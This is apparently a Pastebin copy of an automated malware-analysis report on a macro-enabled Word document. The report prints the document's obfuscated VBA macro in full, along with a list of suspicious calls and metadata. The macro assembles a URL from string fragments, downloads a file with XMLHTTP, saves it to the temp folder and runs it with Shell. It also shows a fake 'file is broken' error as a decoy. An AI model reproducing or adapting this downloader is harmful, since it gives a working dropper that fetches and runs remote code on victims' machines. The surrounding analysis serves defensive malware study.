tzprhxoubje\n\nuj = -17153\nixku51 = (Not uj)\nConst rbgy = True\nkfpcywwoa = uopsevzfx2(\"mzxvtyd\", \"iyaul7\")\navzbfz = -15865\nngo = -13857\neey = Not (avzbfz > ngo)\n' earspubvexwhccmxio iuixcajeoiawicie mkzwynjhxazwwxrrnc8\ngqvi = 11405\nuj = 24463\nzpuzzd = Not (gqvi < uj)\n' eoshtayepvhubjwacbauyui\n\nDim qyvra As Double\nqyvra = 13406.6292\nConst gbaya4 = True\n\nDim kaaitu\nkaaitu = -27940\nRem suyiwztnrxywjfweyo\nRem adoocluqsenbajtiufwlfmfshzb\nConst aweyuik = True\n\nsiya = 2395\noycw = (Not siya)\nConst rlezjyae = False\nRem eywtuvauudgjaoaxrgpo29 wkozsoxtzcliqbkyabqvded4 eubruuytdraey\nRem idmoooeuyyxk55 uijaribnpfoeu brjnkunweaoszvr\nDim xyudm As Integer\nxyudm = 14761\n\nConst uypeu = True\n\nConst lkxrapmptf = False\n\ns = -19171\naysu = (Not s)\nkopzfdh = \"get\"\n' oltbutgftcxmenbe03 vl aevwucdiwna61\nu = -15457\nbsu = 22187\niukst = Not (u > bsu)\nqi = -8850\nfr = 13695\noyie = Not (qi < fr)\nsnfnly = -23841\njbq = (Not snfnly)\nConst ubbdwmo = False\n' dneuepxkmnyaiadzya30 kenyj\n' pmlvtggprciayiauaakoosglm um\nDim uogsfq\nuogsfq = 10663\nConst eyazny = False\n\n' qdiydqiuyqsiopgfteo ycsuesqaaaobfx\n\nDim bbjfcvtsn As String\nbbjfcvtsn = \"e\"\nDim eine As Boolean\neine = False\n' jgyuapjqo\nConst hpzaczye = False\nxj = 25964\noi = -24233\ny = Not (xj > oi)\nDim ilro\nilro = 1871\n\noufp = mczvracz8(\"artnfe2\", \"mmuuy\")\nConst asmlmr = False\nRem vnbcpiidayoynuajxa1\nDim amebndzr As String\namebndzr = \"6314\"\nConst pveaaifu6 = False\nDim bgwbicz As Boolean\nbgwbicz = True\ni = 4680\neuaq = (Not i)\n\nConst uknlr = True\n' yiiqauxrxhzueqboxrkpalvu xkj evboeharuiwoiiinhffx\nConst dfpclkns = False\nRem yinxoh\nDim qiuesdn As String\nqiuesdn = \"13425\"\ni = -24382\nxw = -25042\noe = Not (i < xw)\n\nRem ehyrqwpnxtk fdcxr\nbwau05 = -9367\nknutr22 = -28781\nrwee = Not (bwau05 < knutr22)\n\nDim ouei As Boolean\nouei = True\n\nConst mznucubt = False\nConst ioeedn07 = True\n\nuair = \"xe\"\nDim zxtpo As Integer\nzxtpo = 20619\nConst jrezsir = True\nDim xkiykvys06\nxkiykvys06 = -11779\n\n' eyaftiyayln07 onrejgyjpfxutdsvynord0\nDim opdlgdcigd\nopdlgdcigd = 20961\n\nConst eqmae = True\nConst igyv = False\nu = 24875\nvzaqwy = (Not u)\nRem ysattddvtypxpiaarrog\nfkawwysh = \"http:\"\nConst uojuuo0 = False\ntxy = -21622\nyi = (Not txy)\nConst jpjrano70 = False\nbm = 23479\nsyzx = (Not bm)\nConst foeuiy = False\nRem mooeu9 lhxeqbbmcpu\nfyka = -11688\neajr = (Not fyka)\n\nDim iekvvgti As String\niekvvgti = \"-26404\"\nDim otziqe As Integer\notziqe = -28061\nConst yinrvd1 = True\nDim cwuigje1 As Integer\ncwuigje1 = -30493\nyi = 3713\nsaat = (Not yi)\nDim aaineld0 As Boolean\naaineld0 = False\nConst aoioey07 = True\ncikxbs = iajq(\"nhiiki\", \"suynhtu24\", \"oeagl\")\nDim woedy\nwoedy = 17591\n' eayzq rlkfxlgiegszscmiihapdpeor\nDim andtrba56 As Boolean\nandtrba56 = True\n' cfrtjpazluoeyydspn ukfyqpbpqthtueyuftyq iqzeouyykfyerccoxxtjgnye\nRem oofmjdvevhvfoosvqiiumdlo\nConst ghyyrb = True\n\nConst yaealg = False\n' ikvyaqvzaizkovg jd\n\nDim ibamxy\nibamxy = -24718\nRem sixmwoansmbdajruyli\nConst ypea = True\nRem lxtryoddubueuu phcjl uuyacdgxeuinj2\nRem tmimxmcyp agun yzaiirc5\nConst akkurv32 = True\nuay = -16427\nysmi = (Not uay)\n\nConst uyhjy = False\nDim ukfckc\nukfckc = -1983\nRem lxadbbkcfuojytfsa aqiawn\nConst pzafse = True\nopruagq = \"derlyn\"\nConst epau = False\n' jrr qri\nyxtkt6 = 22184\ngkklvqj18 = (Not yxtkt6)\nouwa = 27892\ndix = (Not ouwa)\nRem ftmaaegljefbrqarnhhsevsn mcwdakfpdltydykxe zdgdbxjoigfy\n\nConst upjiipbi = True\n\n' vmxm\ngei = -27307\neuggj = 13967\nay = Not (gei > euggj)\nConst nyjsixque = False\nConst fdtzooatl = True\nConst ibymae = False\nConst qhuiqeuu0 = True\n' ffggttpaaeyacnibzeo xx\nharv = -24694\nwmdejn = (Not harv)\nDim gxeei As Double\ngxeei = -39557.19833\n\nDim tjujvs As Integer\ntjujvs = -12278\n\n' fttdvrvroya tokecnalhpbjjjfyfq\niuaanv = aibejg()\niycp = 21346\nockotw = -23923\nyekd = Not (iycp > ockotw)\nsmoxl = -8969\ngb = (Not smoxl)\nms = 10751\nqvxri5 = 28905\nua = Not (ms < qvxri5)\n\nConst sushmpi8 = False\nConst hdyydilq2 = True\nmjy = 15857\neiazb = -22525\nai = Not (mjy > eiazb)\n' qvslhz5 hibhyuljkvebxukzbry93\nvcqzso = 20006\npnooc0 = (Not vcqzso)\nRem wpxflrgotzbor\n' wmiiuoiiei1 okeieietbqoogzyygdvipsti\n\n' oeaghwoytvgqpcrm omwuoalhnfsednhx\nConst awioa = True\nqwijbfk = 15081\ntye = (Not qwijbfk)\nConst oudpoeea76 = True\nDim yvfusiy As Boolean\nyvfusiy = True\nl = 21626\nnsmxs = (Not l)\nRem qhenhsdyy\ndphc = -25883\nrwy = (Not dphc)\njnegme = iytri(\"ewlavo\", \"vxcak\")\nosj = -6402\nqh = (Not osj)\n\nDim upboa77 As String\nupboa77 = \"-8414\"\nRem icgijruicwwioeiixwfx stifg abpouye\nRem oewtmueyyeaei8 uidsncyuyauiivxianwylfei izv\nRem uuixfphykkxcmnsgyh rys\nDim oiix20\noiix20 = 11897\nConst eqfyhv = False\n' tpunpxxtmqtdybkoe modjsholmbeeyh ipfykkdnulmi09\n\nDim itilu0\nitilu0 = -29189\n\nDim jfieoe17 As Integer\njfieoe17 = -10690\n' xmfdxlbbiaoueguvb bxzhnwtkswoobqyuzpoeorwqg\nmbeasq = -16383\nyoz = (Not mbeasq)\n' eqnjugoyjy eyouildpyoqbeo90\nDim aqlqiia As Boolean\naqlqiia = False\novcj = -6238\ndbe = -14674\nfbpb = Not (ovcj > dbe)\namntilgg = vmvxbnmu(\"skea\", \"zzxaigo\", \"nadcgp\")\nConst ycgooi = True\nRem iaiydramhya ljeeifxyomwixyeitdjwasi fmtduwxfbhymou98\nyiyr = -18947\no = 4898\nzw = Not (yiyr > o)\n\nDim yoim9 As Integer\nyoim9 = 31551\nConst qaoaui = False\nConst vjbpukyqu = False\nbijmu24 = 4448\nimqaq27 = (Not bijmu24)\nyjpahg = -27899\nalr = (Not yjpahg)\nRem yrqylkae vxooufmoofvelhuvt eeewxapywakhiaacbad\n' gzyulepap\nhhrgue39 = -9920\nvhjjv = (Not hhrgue39)\nRem uaif\n' uydjplltfnqdwlmwbvjuozgdo otzsvyioapv oyay\n\nDim khyeybnu As Double\nkhyeybnu = 16835.40202\n\nConst qaio = False\nConst uvwiimjki = True\n\nlqwiudu68 = \"qo84.e\"\nConst gweogat = False\nRem twqm iykmrjwxyy\nDim xwoskc\nxwoskc = -18762\niy = 15093\nrmo = -10372\nodhu = Not (iy > rmo)\nlpgxnkzg = -3258\nvio = (Not lpgxnkzg)\n' huaqjcuvvvggmhjuwhuuqauftp yuqko\nDim oipu As Integer\noipu = 27492\n\nRem fhpetaaietvdvvuea2 oiaeueyei17\nRem aa\nConst afeltyqmy = False\nConst aoui = True\nDim yyrpdea As Double\nyyrpdea = 21962.5046\npeoqz = -17018\nysal = (Not peoqz)\nConst qydusn = False\nDim glebgay As Double\nglebgay = -22307.5\nreehub = dyuvy(\"jtgrnjddj\")\n' yqvjifnbeaigei gpifhuvyeiozpmy\n' yiucbrncyewughkcsmgweioes\n\nrvj = 16742\nuvo = (Not rvj)\nConst yiwnjxj = True\nDim esspbm As Integer\nesspbm = -19816\nDim eoxzqle2 As Boolean\neoxzqle2 = True\nDim uiap\nuiap = -5431\n' tmuuiddctxlh iyuubkuvhoxcitkwzzbdosx oeyuv\n' myovqyxnwlgrxjssga\n' oeachxnxae30 xdxwwugipunupopcsx oelallgdoskaanmu\nConst yieiayy = True\n\nDim vhuauy8\nvhuauy8 = 20253\ncvqa = 15404\no = -6553\nfrdde = Not (cvqa > o)\nDim duxmtu53 As Boolean\nduxmtu53 = True\nConst snyslhwiua = True\nDim aiuxra\naiuxra = -1777\nozs = 6760\noqfah = -16425\nkp = Not (ozs > oqfah)\n' frjvosh\nyi = 2267\nggzfe = 4266\nnda = Not (yi < ggzfe)\n\nziwhfo = euzvjf()\n' iuqgxymmezqxpi\nRem fqobwdtroorfoevbohunmao0 aidnprdsjvyitteoaokspzmks\nDim hxgnhefxvm As Double\nhxgnhefxvm = -22990.54635\nla = -17154\nouyo = (Not la)\nDim islbdeu As Boolean\nislbdeu = True\n\nxkgia0 = -19212\nprji = (Not xkgia0)\n\nt = -21808\nya = (Not t)\nDim xvfxu\nxvfxu = -26769\nRem ulazuaayu bb\n' ipruqho\n\neeknr = -15275\njj = (Not eeknr)\n\n' xbajfmcfxlulq21 iviyybnn2\n' yrlbppduieyest tufkpgpywyuei\necofze5 = fkawwysh & hgdumni & opruagq & tnuazj & cvwga & spriex8 & rcyyt\n' uzpyeuxragnpszlhca\nConst uaxkmnfg27 = False\nConst jxyu = True\nConst bpgqqqyw = False\n\nyhv = -28725\nkcaxu = (Not yhv)\nagpl = -24796\nbr = -8413\nso = Not (agpl > br)\nDim tgzeom As Double\ntgzeom = -34320.12963\nRem aoieebmoeyufxyoeuwjogf urqdwuoowlurn\n\n' asbrixuirjyohxvwoeucv iekcfoukujkdjofkemgzfdjaii\nasxu = 26850\ng = 21929\nu = Not (asxu > g)\nyxvvi = 25203\ni = -12853\ny = Not (yxvvi < i)\nbemxxont38 = yoyayu & smbqvsey1 & lqwiudu68 & uair\nDim ytjybp9 As Double\nytjybp9 = 27377.52133\n\nRem bszefwpwyws aenx3\nConst upviuxhpr8 = False\n\nConst kccatmia = True\nb = -14804\nnuu = (Not b)\nConst ooakly = True\nDim fcpsy\nfcpsy = 5389\naup = 6173\ncbaust = (Not aup)\n\nDim nqazjwj\nnqazjwj = -24106\n' yi oai qakmcjmeee94\n' sjoseslyvhdueouzc\nConst aaormvq = False\nuy = -17560\nE = 6656\nuiupn = Not (uy < E)\nk = -24774\nya = (Not k)\n\nRem y ebcekjblh\nConst wakku = True\nDim eorzin08 As String\neorzin08 = \"22345\"\nWith ezdhqpm3\nai = 10350\noezw = 2116\nweu = Not (ai < oezw)\nRem efgicxvighaaoe djtjoyilhaiien\n\npq = -12107\nu = -11869\nbwgxtji6 = Not (pq < u)\n\nDim ftwlfrb As Boolean\nftwlfrb = True\n\nDim sczdbee\nsczdbee = 19412\n' btyieeeolvaoqaezqiknxro hqyu begpybbodoewnvcweusjae\nConst gqiyt = True\nConst vqrrxemvoo76 = True\n\n\nicyks = 14755\nxvcm = (Not icyks)\nConst jpqbaevh5 = False\n\nDim xhhe2\nxhhe2 = -18729\neble = 13054\niuoy97 = (Not eble)\nDim iueawi\niueawi = -32100\nDim xkuexqj As String\nxkuexqj = \"2215\"\n\nRem jeuyj\nConst nguyui = False\nu = -27318\nare = -15360\nfy = Not (u < are)\nRem eraitafcrn u ueildefzotvadredeazey\n\nycnbfp = 27399\nj = (Not ycnbfp)\nDim dipjcz2\ndipjcz2 = 10808\nDim hqeu As Boolean\nhqeu = True\n\nConst avazu = False\nDim tbcdpxkths As String\ntbcdpxkths = \"oi\"\nhguc = -4122\ndn = 9572\ngj = Not (hguc < dn)\nRem ueueeekhuijanlixu0 xoqbvhansrlyzvu\nIf Weekday(#4/20/1889#) <> 7 Then Exit Sub\nConst yiniitr = False\nConst vstkyirdo = False\n' upsmieevzkyoihuiujgq\n' ymou\nConst orsao = False\nConst pcqewdlsb = True\n\n' fsewrntosarcaicqcdqweejqui ipqiua\nDim vzhniewb As Integer\nvzhniewb = -23401\n\nDim iyedpni57 As String\niyedpni57 = \"iueurqclvqzo\"\nConst ykhwec = True\n.Open kopzfdh, ecofze5, False\nConst ukgoigei = True\nConst oiii = False\nDim lntojue As String\nlntojue = \"ixjoy\"\n\nfx = 26337\nhdm = (Not fx)\nConst hjyon = False\n' jviugacwhrmyiyioufbiiu lfaiiabvorumzbht ybvretiqtakooqdyfxmvc\nDim kizkc0\nkizkc0 = 1768\nDim eouj8 As Double\neouj8 = 47814.35958\nDim peggaws As String\npeggaws = \"ooiuplovdb\"\nDim aehf30\naehf30 = 29238\nMsgBox \"Erro\" & \"r: File is br\" & \"oken\"\n.send\nConst appdfo = False\n\nRem iumluokhjgimvciti7 euvmixcofsdxe48 yueozbvjzx\n\nDim wnxcq\nwnxcq = -25591\nqgdu0 = -23981\nkjeop = (Not qgdu0)\nConst jedldtua9 = False\nDim pwntoolk As Integer\npwntoolk = 11791\nRem immpsrpyuyo\n\nRem uy wwyo\nDim aeoioe As Integer\naeoioe = 24538\n\n' ocwquuiou cwiycsomsclch\nConst ahpywe = True\nConst tjupcvlqlsi = False\ncfqo = -5902\nzyg = (Not cfqo)\n\nConst uinwtwvi = True\ni = -4822\noze = (Not i)\n\nDim tdtlyk\ntdtlyk = 10670\nDim aqglxww As String\naqglxww = \"-14550\"\nConst uyvqulu = True\nConst aiyocy = True\n\nf = -6445\necp = (Not f)\nConst kudmi = True\nConst pzqdyivwz = True\nEnd With\nConst eodext = True\n\njqkkk = 63\nics = -27748\nd = Not (jqkkk > ics)\nDim yeay76\nyeay76 = 7451\nRem eiflaoyt00 yrbaujxnuzxioioyqgfxexvzk uuoyuotrolvmhxgqxajvqu\nDim xwsiyi As Integer\nxwsiyi = 21968\n\n' biouhlizdfuahcnrkuacb\nDim tzuehwap43\ntzuehwap43 = 28922\n\nConst ouycg = False\nDim oqriy79 As String\noqriy79 = \"-21997\"\no = -19293\noetr = 26207\na = Not (o > oetr)\n\nWith bqjrfls\nyuo = 27243\njbsdx = (Not yuo)\n\n' yoekda\nDim emfvpu\nemfvpu = 19325\n\nRem qbmnlgdazmgcdgplvimoqsi\n\nDim yszja As Boolean\nyszja = True\nDim inoa67\ninoa67 = 1600\n\n' rtrfcljrwafouflmiwjnvy\nConst iepsykfm00 = True\nDim yekmip As Integer\nyekmip = -26191\nu = -9803\nsdwbd = 9944\na = Not (u > sdwbd)\n\nhdwxho = -14304\nugphf = -4347\nrkgq = Not (hdwxho > ugphf)\nConst uprfcr = True\nyfja = 28562\neznpcd5 = -23062\ntoef = Not (yfja > eznpcd5)\n\nRem iwklawknwoayieyoaljlbdmf yipusgilkyisl\nConst esqredj = False\nDim oyyne68 As Double\noyyne68 = -41463.25627\nyvmo = 22207\nai = (Not yvmo)\neiy = -27098\ngi = 24099\ndla = Not (eiy > gi)\n\n\nConst erioinho = True\nConst mpouaod = True\n\nfx = -14772\naowu = (Not fx)\n\neif = -16819\ntftya = (Not eif)\nxugvu = -18419\nd = (Not xugvu)\n' iiswhpkgtffq\n' iuco\n' tqcqgarrejfvzgtwtudwizza32 yonkyexeajiau09 yekqtsplxmdzf\nConst vsoxtmmibs = False\n.Open\nConst yspbcq = False\n' jpzvgjeeyiuuqlhbrvavuei ewfmfeh\n\nConst ryzuiy = True\nloy = -20129\naaytn = (Not loy)\n\nDim bkozd\nbkozd = -28919\nConst guaviafk = False\nyoim = -11417\nturm31 = (Not yoim)\nConst zkraihh3 = True\nRem pyflyortonibjouo uaudyjjoiakaresiasg8 ycmy\nConst iifjiyjmx = False\nDim gjbuepe4\ngjbuepe4 = -28327\nDim qvtvxpo As Integer\nqvtvxpo = -15903\nRem adssxz eubauiyp\n\n.Type = 1\nu = -15382\noui = 12692\nukd = Not (u > oui)\n' jcm upfrmzqruxvsjikyumfrnewjy6\nu = 12779\ngwg = -11702\ns = Not (u < gwg)\nDim iooacbo As Boolean\niooacbo = False\nRem hreewgtlkv yyecqaoae\nDim nzkkiuy As Integer\nnzkkiuy = 15262\nDim uuvkehu\nuuvkehu = -19858\nConst bujae = True\n\n.Write ezdhqpm3.responseBody\nDim hpyqhpy As Boolean\nhpyqhpy = False\n\nConst mrgfgznp = True\nDim olcuf36 As String\nolcuf36 = \"-25099\"\nRem oxwloxnmozcvadxmy oufpiwcfdlahzncprpo lzqevtvydtiooyixnvmya\neklyws = -12704\nfhcwwho = (Not eklyws)\nDim woambhrv05 As Boolean\nwoambhrv05 = True\nykc = -17556\nit = (Not ykc)\nDim vsrztai\nvsrztai = 23099\nRem sypkvheijvejr5 urmyqz\nmpfkh2 = 7971\nfe = 9896\noo = Not (mpfkh2 < fe)\nConst auejpii = False\nConst ibyskx = False\nRem miyywzeydwdjyi qauxw47 hrte\n\npwctd = 28377\ncve = -4772\nx = Not (pwctd > cve)\nDim exingo As Integer\nexingo = -1831\n.SaveToFile Environ(\"temp\") & bemxxont38, 2\nDim kekxoob\nkekxoob = -28538\n\nypay6 = -20790\nojfobc28 = -9242\nsy = Not (ypay6 < ojfobc28)\nckyhx = 23792\nyg = 16085\na = Not (ckyhx > yg)\nConst icealp = False\na = -8885\niazk = (Not a)\nyw = 2681\ngozqh13 = -21801\nidvpb = Not (yw < gozqh13)\nConst eyeif = True\nppuqc2 = 4330\naoi = (Not ppuqc2)\nDim ovfwva As Boolean\novfwva = True\n.Close\nDim iicfu3 As String\niicfu3 = \"-25551\"\npsauz0 = 11942\nksjnu = -22844\nvb = Not (psauz0 < ksjnu)\nRem lhiiikugjew uoyf feaijdezlvkfuuemppmttkjcvmtj\nyo = -13700\npswjiu = (Not yo)\nDim uzozsgne\nuzozsgne = -27667\nDim xuou\nxuou = -21221\nConst utchlk = False\n\nyxrhy = 25657\nsjzh = (Not yxrhy)\nmv = -4202\nojp = (Not mv)\nConst vfnvqx1 = False\n\nRem oovpyhijbwg yuubr\nyjqho = 21299\naeg = (Not yjqho)\n\nRem ezhbluqrpwdhtseemzoyxgenf\n\n\n' xrggmktikgbh aajswkgosseiucfiizmy rqiwzrl\nDim aicvk As Integer\naicvk = 916\nDim askgb5 As Boolean\naskgb5 = True\nDim eagccnnns02\neagccnnns02 = 27624\nDim rsfdlbn As String\nrsfdlbn = \"3815\"\ndmnjcw = -5477\nmbgi = (Not dmnjcw)\n' qqjkksggrmmheiueuahwplayj\nConst qhknfuo = False\nDim eyvia\neyvia = 14180\nEnd With\nConst jforfi = False\nConst rvcousehb = False\nDim tveepe As Boolean\ntveepe = True\nDim audqyyt71 As Double\naudqyyt71 = 47127.27534\nDim yppe As Integer\nyppe = 15258\nth = -7808\neya = 25547\nyi = Not (th < eya)\n\nConst oaskzlo = False\nConst umbso7 = True\nfedjq = 2320\np = 28632\nE = Not (fedjq > p)\n' i\nDim royg As Integer\nroyg = 627\ny = 1605\nioay0 = (Not y)\n\notmp = -7131\nq = (Not otmp)\nei = -29171\nia = (Not ei)\n' ij\n' kuxlaaedtoaxjkfhtbo uyayolkufkmmioi\nymk = 24930\nkkx = (Not ymk)\nDim lpepggnvh\nlpepggnvh = 27950\n\neabro = -27819\nua = (Not eabro)\n\nDim uoghdii As Boolean\nuoghdii = False\nConst qlldrtzrge = True\nqghgey = 13328\nnxe = (Not qghgey)\nDim eejeeh As Integer\neejeeh = -14904\nDim wjuszzzpwpf As Integer\nwjuszzzpwpf = 32360\nDim uujkh As String\nuujkh = \"aaynmidhtnte\"\na = -29911\ngk = 12710\nw = Not (a > gk)\nConst odqoyeuy = True\nRem aymdiowqqfrybmjmwd koztcyou\n\nDim imafsm\nimafsm = 10959\nRem oxcmodfn06\nConst ixwaov = False\nShell Environ(\"temp\") & bemxxont38, kqujs\nqm = -14197\nxtyhs = (Not qm)\n\novla = 4503\nE = (Not ovla)\nConst ouoiyia = True\nkihry = -15309\nio = -29363\no = Not (kihry < io)\n\ncpov8 = -11633\nx = 2338\nel = Not (cpov8 > x)\n\nDim jhookr As Boolean\njhookr = False\nRem ctkhiartoskkouunvbrm eaeyeoeo akrft\nRem aggjia30\n' anfnjbewgfro umowxbqeueuo6\nRem gaadlappismmmjbcuc gtiiirbocjkbypt12\n\nbyu = -6532\ny = 608\ncahse = Not (byu > y)\nConst aiacrzv = True\n' uaaoyxdib39 ylzhaioohmxfjucfiyyxao\nDim utdhxo As Double\nutdhxo = 44873.58505\nRem vlaayxobwladxoeuysmllsko82 cunr\nConst fykpcj = False\niy = 1159\ndpa = -3568\njmanlc = Not (iy < dpa)\n\n' emfzeewo baloeiuwpzr ztcz\n\nxxu = -647\nu = 7103\nilrz = Not (xxu > u)\nDim iueei20 As Boolean\niueei20 = False\no = 25509\nyac = (Not o)\n\nRem way uhfiadykv86\nConst wfelr = True\n' glbuweyiy\ncy = 25234\nuoffy = (Not cy)\nEnd Sub\n"
  3160. ]
  3161. ]
  3162. },
  3163. "Analysis": {
  3164. "Suspicious": [
  3165. [
  3166. "Open",
  3167. "May open a file"
  3168. ],
  3169. [
  3170. "Shell",
  3171. "May run an executable file or a system command"
  3172. ],
  3173. [
  3174. "CreateObject",
  3175. "May create an OLE object"
  3176. ],
  3177. [
  3178. "ADODB.Stream",
  3179. "May create a text file"
  3180. ],
  3181. [
  3182. "SaveToFile",
  3183. "May create a text file"
  3184. ],
  3185. [
  3186. "Environ",
  3187. "May read system environment variables"
  3188. ],
  3189. [
  3190. "Write",
  3191. "May write to a file (if combined with Open)"
  3192. ],
  3193. [
  3194. "Microsoft.XMLHTTP",
  3195. "May download files from the Internet"
  3196. ]
  3197. ],
  3198. "AutoExec": [
  3199. [
  3200. "AutoOpen",
  3201. "Runs when the Word document is opened"
  3202. ]
  3203. ]
  3204. }
  3205. },
  3206. "Metadata": {
  3207. "SummaryInformation": {
  3208. "num_words": "0",
  3209. "num_pages": "2",
  3210. "last_saved_by": "Bob",
  3211. "creating_application": "Microsoft Office Word",
  3212. "author": "Bob",
  3213. "revision_number": "5",
  3214. "codepage": "1252",
  3215. "title": "",
  3216. "comments": "None",
  3217. "num_chars": "4",
  3218. "total_edit_time": "180",
  3219. "create_time": "None",
  3220. "template": "Normal.dotm",
  3221. "last_printed": "None",
  3222. "keywords": "",
  3223. "security": "0",
  3224. "last_saved_time": "None",
  3225. "thumbnail": "None",
  3226. "subject": ""
  3227. },
  3228. "DocumentSummaryInformation": {
  3229. "codepage_doc": "-535",
  3230. "chars_with_spaces": "4",
  3231. "shared_doc": "False",
  3232. "paragraphs": "1",
  3233. "hidden_slides": "None",
  3234. "mm_clips": "None",
  3235. "category": "None",
  3236. "presentation_target": "None",
  3237. "hlinks_changed": "False",
  3238. "scale_crop": "False",
  3239. "version": "917504",
  3240. "hlinks": "None",
  3241. "link_base": "None",
  3242. "company": "Microsoft",
  3243. "unused": "None",
  3244. "dig_sig": "None",
  3245. "content_type": "None",
  3246. "heading_pairs": "None",
  3247. "slides": "None",
  3248. "links_dirty": "False",
  3249. "language": "None",
  3250. "notes": "None",
  3251. "bytes": "None",
  3252. "manager": "None",
  3253. "content_status": "None",
  3254. "doc_version": "None",
  3255. "titles_of_parts": "None",
  3256. "lines": "1"
  3257. },
  3258. "HasMacros": "Yes",
  3259. "DocumentType": "Word Document"
  3260. }
  3261. }
  3262. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!